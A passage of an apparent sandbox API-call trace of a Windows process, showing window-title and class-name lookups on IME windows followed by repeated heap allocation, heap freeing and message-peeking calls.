lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.323] GetClassNameW (in: hWnd=0x102cc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.323] GetWindowTextW (in: hWnd=0x102ca, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.323] GetClassNameW (in: hWnd=0x102ca, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.323] GetWindowTextW (in: hWnd=0x102c8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.323] GetClassNameW (in: hWnd=0x102c8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.323] GetWindowTextW (in: hWnd=0x102c6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.323] GetClassNameW (in: hWnd=0x102c6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.323] GetWindowTextW (in: hWnd=0x102c4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.323] GetClassNameW (in: hWnd=0x102c4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.324] GetWindowTextW (in: hWnd=0x102c2, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.324] GetClassNameW (in: hWnd=0x102c2, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.324] GetWindowTextW (in: hWnd=0x102c0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.324] GetClassNameW (in: hWnd=0x102c0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.324] GetWindowTextW (in: hWnd=0x102be, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.324] GetClassNameW (in: hWnd=0x102be, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.324] GetWindowTextW (in: hWnd=0x102bc, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.324] GetClassNameW (in: hWnd=0x102bc, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.324] GetWindowTextW (in: hWnd=0x102ba, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.325] GetClassNameW (in: hWnd=0x102ba, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.325] GetWindowTextW (in: hWnd=0x102b8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.325] GetClassNameW (in: hWnd=0x102b8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.325] GetWindowTextW (in: hWnd=0x102b6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.325] GetClassNameW (in: hWnd=0x102b6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.325] GetWindowTextW (in: hWnd=0x102b4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.325] GetClassNameW (in: hWnd=0x102b4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.325] GetWindowTextW (in: hWnd=0x3013c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.325] GetClassNameW (in: hWnd=0x3013c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.326] GetWindowTextW (in: hWnd=0x401ca, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.326] GetClassNameW (in: hWnd=0x401ca, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.326] GetWindowTextW (in: hWnd=0x102ae, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.326] GetClassNameW (in: hWnd=0x102ae, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.326] GetWindowTextW (in: hWnd=0x102a8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.326] GetClassNameW (in: hWnd=0x102a8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.326] GetWindowTextW (in: hWnd=0x1029e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.326] GetClassNameW (in: hWnd=0x1029e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.326] GetWindowTextW (in: hWnd=0x10296, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.327] GetClassNameW (in: hWnd=0x10296, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.327] GetWindowTextW (in: hWnd=0x1028c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.327] GetClassNameW (in: hWnd=0x1028c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.327] GetWindowTextW (in: hWnd=0x1028a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.327] GetClassNameW (in: hWnd=0x1028a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.327] GetWindowTextW (in: hWnd=0x10280, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.327] GetClassNameW (in: hWnd=0x10280, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.327] GetWindowTextW (in: hWnd=0x10276, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.327] GetClassNameW (in: hWnd=0x10276, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.328] GetWindowTextW (in: hWnd=0x1026c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.328] GetClassNameW (in: hWnd=0x1026c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.328] GetWindowTextW (in: hWnd=0x10262, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.328] GetClassNameW (in: hWnd=0x10262, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.328] GetWindowTextW (in: hWnd=0x10258, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.328] GetClassNameW (in: hWnd=0x10258, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.328] GetWindowTextW (in: hWnd=0x10256, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.328] GetClassNameW (in: hWnd=0x10256, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.328] GetWindowTextW (in: hWnd=0x10248, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.328] GetClassNameW (in: hWnd=0x10248, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.329] GetWindowTextW (in: hWnd=0x10242, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.329] GetClassNameW (in: hWnd=0x10242, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.329] GetWindowTextW (in: hWnd=0x10232, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.329] GetClassNameW (in: hWnd=0x10232, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.329] GetWindowTextW (in: hWnd=0x10230, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.329] GetClassNameW (in: hWnd=0x10230, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.329] GetWindowTextW (in: hWnd=0x10228, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.329] GetClassNameW (in: hWnd=0x10228, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.329] GetWindowTextW (in: hWnd=0x10212, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.330] GetClassNameW (in: hWnd=0x10212, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.330] GetWindowTextW (in: hWnd=0x10210, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.330] GetClassNameW (in: hWnd=0x10210, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.330] GetWindowTextW (in: hWnd=0x1020c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.330] GetClassNameW (in: hWnd=0x1020c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.330] GetWindowTextW (in: hWnd=0x2012e, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.330] GetClassNameW (in: hWnd=0x2012e, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.330] GetWindowTextW (in: hWnd=0x60316, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.330] GetClassNameW (in: hWnd=0x60316, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.330] GetWindowTextW (in: hWnd=0x5007c, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.331] GetClassNameW (in: hWnd=0x5007c, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.331] GetWindowTextW (in: hWnd=0x101d6, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.331] GetClassNameW (in: hWnd=0x101d6, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.331] GetWindowTextW (in: hWnd=0x101c4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.331] GetClassNameW (in: hWnd=0x101c4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.331] GetWindowTextW (in: hWnd=0x101a8, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.331] GetClassNameW (in: hWnd=0x101a8, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.331] GetWindowTextW (in: hWnd=0x1018a, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.331] GetClassNameW (in: hWnd=0x1018a, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.332] GetWindowTextW (in: hWnd=0x100fe, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.332] GetClassNameW (in: hWnd=0x100fe, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.332] GetWindowTextW (in: hWnd=0x100fa, lpString=0xbdead8, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0133.332] GetClassNameW (in: hWnd=0x100fa, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0133.332] GetWindowTextW (in: hWnd=0x100f0, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.341] GetClassNameW (in: hWnd=0x100f0, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.341] GetWindowTextW (in: hWnd=0x100e4, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.342] GetClassNameW (in: hWnd=0x100e4, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.342] GetWindowTextW (in: hWnd=0x20074, lpString=0xbdead8, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0133.342] GetClassNameW (in: hWnd=0x20074, lpClassName=0xbdead8, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0133.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077000 | out: hHeap=0xe80000) returned 1 [0133.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ef8 | out: hHeap=0xe80000) returned 1 [0133.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076f70 | out: hHeap=0xe80000) returned 1 [0133.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e98 | out: hHeap=0xe80000) returned 1 [0133.342] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076e38 | out: hHeap=0xe80000) returned 1 [0133.343] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9eb8 | out: hHeap=0xe80000) returned 1 [0133.343] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.343] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0133.343] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0133.343] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0133.343] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.343] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.343] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016200 [0133.343] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.344] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0133.344] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0133.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055510 [0133.344] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055510 | out: hHeap=0xe80000) returned 1 [0133.344] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.344] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x10161c0 [0133.344] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.344] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10161c0 | out: hHeap=0xe80000) returned 1 [0133.344] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.344] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055670 [0133.345] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055670 | out: hHeap=0xe80000) returned 1 [0133.345] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.345] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.345] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f40 [0133.345] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.345] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f40 | out: hHeap=0xe80000) returned 1 [0133.345] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.345] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf388 [0133.345] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf288 [0133.345] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0133.345] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0133.345] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0133.345] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0133.345] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015c00 [0133.345] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.346] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015c00 | out: hHeap=0xe80000) returned 1 [0133.346] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.346] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.346] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.346] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0133.346] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0133.346] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.346] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.346] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016080 [0133.346] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.347] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016080 | out: hHeap=0xe80000) returned 1 [0133.347] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.347] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.347] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.347] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055550 [0133.347] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055550 | out: hHeap=0xe80000) returned 1 [0133.347] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.347] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.347] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0133.347] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.347] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0133.347] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.347] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf368 [0133.347] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf438 [0133.347] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055490 [0133.348] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055490 | out: hHeap=0xe80000) returned 1 [0133.348] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0133.348] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0133.348] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0133.348] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.348] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0133.349] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.349] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf418 [0133.349] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.349] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0133.349] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0133.349] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.349] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0133.349] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e80 [0133.349] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.349] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015e80 | out: hHeap=0xe80000) returned 1 [0133.349] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.349] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf258 [0133.349] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.349] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0133.349] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0133.349] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.349] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf258 | out: hHeap=0xe80000) returned 1 [0133.350] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016140 [0133.350] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.350] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016140 | out: hHeap=0xe80000) returned 1 [0133.350] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.350] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf358 [0133.350] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2e8 [0133.350] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557b0 [0133.350] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557b0 | out: hHeap=0xe80000) returned 1 [0133.350] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2e8 | out: hHeap=0xe80000) returned 1 [0133.350] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0133.350] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0133.350] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.351] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0133.351] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.351] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf298 [0133.351] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.351] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557f0 [0133.351] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557f0 | out: hHeap=0xe80000) returned 1 [0133.351] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.351] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf298 | out: hHeap=0xe80000) returned 1 [0133.351] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0133.351] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.351] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0133.351] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0133.351] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf278 [0133.352] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf318 [0133.352] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055470 [0133.352] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055470 | out: hHeap=0xe80000) returned 1 [0133.352] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf318 | out: hHeap=0xe80000) returned 1 [0133.352] HeapFree (in: 